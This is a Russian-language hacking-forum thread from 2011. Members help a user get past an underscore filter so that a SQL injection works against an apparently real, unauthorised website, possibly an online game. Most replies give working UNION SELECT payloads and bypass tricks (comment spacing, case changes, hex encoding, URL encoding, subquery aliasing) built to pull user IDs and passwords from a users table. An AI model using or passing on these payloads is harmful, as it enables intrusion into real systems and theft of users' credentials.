Фильтрация нижнего подчеркивания

Discussion in 'Песочница' started by listika, 24 Dec 2011.

Thread Status:
Not open for further replies.
  1. listika

    listika New Member

    Joined:
    26 Aug 2011
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Перерыла весь интернет, а толку ноль :(

    Надеюсь, что здесь смогут подсказать.

    Передаю запрос, но если там встречается нижнее подчеркивание, то оно вырезается и все остальное в запросе тоже. Получается все названия столбцов/таблиц с подчеркиванием не проходят.

    Например запрос вида: id=-480+union+select+user_id,2+from+users+--

    Отбросится все начиная с _id,2+from+users+--

    И в итоге запрос не исполнится.

    Подскажите, пожалуйста, можно как обойти фильтр или это уже не эксплуатируемая инъекция?
     
  2. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    Используй Limit
    id=-480+union+select+user_id,2+from+users+LIMIT+1,1 --
    И каждый раз меняешь LIMIT 0,1 -- и .тд
    P.S: кажется я вопроса не понял...

    Обойти фильтр такими способами
    1) вместо + пиши /**/
    2) union = UnIoN
    и .тд
     
  3. listika

    listika New Member

    Joined:
    26 Aug 2011
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Видимо не поняли...

    Такое проходит, без подчеркивания:
    id=-480+union+select+user,2+from+users+--

    А с подчеркиванием режет, не проходит:
    id=-480+union+select+user_id,2+from+users+--
    Все что после подчеркивания вырезается.
    Остается id=-480+union+select+user

    Лимит и др тут не причем.
     
  4. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    Здесь режется _
    Попробуйте закодировать. Функция CHAR()
     
  5. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Предположим исходный запрос
    Code:
    select field_name from table_name
    
    для MySql эквивалентным будет
    Code:
    select 0x6669656C645F6E616D65 from (select 0x7461626C655F6E616D65)k
    а скрипт, который фильтрует, ищет подчеркивание (как символ "_"), т.е. посчитает запрос валидным.

    =======
    UPD
    Совет не верный.
     
    #5 nikp, 24 Dec 2011
    Last edited: 24 Dec 2011
    1 person likes this.
  6. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    nikp а так можно? или опять резать будет?
    id=-480+union+select+UNHEX(HEX(user_id)),2+from+users+--
     
  7. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Будет резать. ТС, пробуй:
    id=-480+union+select+unhex(0x757365725f6964),2+from+users+LIMIT+1,1 --
     
    2 people like this.
  8. listika

    listika New Member

    Joined:
    26 Aug 2011
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Функция CHAR() никак не помогает, выводится константа раскодированная в итоге
     
  9. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    хм, дык mysql будет воспринимать значение 0x6669656C645F6E616D65 как строку 'field_name', и в итоге вернет в скрипт не содержимое колонки field_name, с строку field_name

    Я думаю в данном случае извратится с mysql не выйдет, и нужно искать способ обхода проверки символа _ в скрипте, например его урл-кодированным эквивалентом (%5f), или же другим способом.
     
    _________________________
    #9 Expl0ited, 24 Dec 2011
    Last edited: 24 Dec 2011
  10. listika

    listika New Member

    Joined:
    26 Aug 2011
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    все верно, так и возвращает...
     
  11. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Прочитай тут, последнее предложение, мб получится, хотя шансов мало.
     
    _________________________
  12. listika

    listika New Member

    Joined:
    26 Aug 2011
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    запрос SELECT unhex( 0x757365725f6964 )
    возвращает
    unhex(0x757365725f6964)
    NULL
     
  13. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Стaло быть никак =\ Ссылку в студио, пожалуйста!
     
    1 person likes this.
  14. listika

    listika New Member

    Joined:
    26 Aug 2011
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    %5f вырезалось как и просто с подчеркиванием
     
  15. listika

    listika New Member

    Joined:
    26 Aug 2011
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Не могу...
     
  16. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    UPD2

    Для поля таблицы можно попробовать такой обход.
    Нужно подбирать количество полей в таблице users и местоположение интересующего поля.

    Допустим таблица имеет три поля
    user_id, user_name, user_password, тогда для вывода второго и третьего поля:

    Code:
    id=-480+union+select+concat(s2,0x3a,s3),2+from+(select+s2,s3+from(select+1,2+s2,3+s3+union+select+*+from+users)k)n--+
     
    #16 nikp, 24 Dec 2011
    Last edited: 24 Dec 2011
    2 people like this.
  17. KolosJey

    KolosJey Member

    Joined:
    21 Dec 2009
    Messages:
    45
    Likes Received:
    42
    Reputations:
    48
    Вариант 1
    Это можно попробывать сделать как-то так:
    1 union select * from (select 1,2,3,4,5)b,users,(select 1,2,3,4)a
    1 union select 6,users.*,2,3,4,5,1 from users
    (полный запрос приводить не буду :))

    Но тут нужно несколько условий. Подробнее:
    http://forum.antichat.ru/threadnav43966-6-10.html
    53-54 посты

    Ну и конечно с information_schema попрощаться

    Вариант 2
    Искать двойной запрос и уже в нём нормально крутить в 0x


    Вариант 3
    Не ломать фрагорию (почему-то мне кажется что это именно она )) - это плохо кончится.


    nikp
    concat_ws не пропустит из-за "_"
     
  18. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Ответ дан , тема закрыта. Если у ТС, что то не получится пусть отпишет мне в пм.


     
    _________________________
    #18 Expl0ited, 24 Dec 2011
    Last edited: 24 Dec 2011
    1 person likes this.
Thread Status:
Not open for further replies.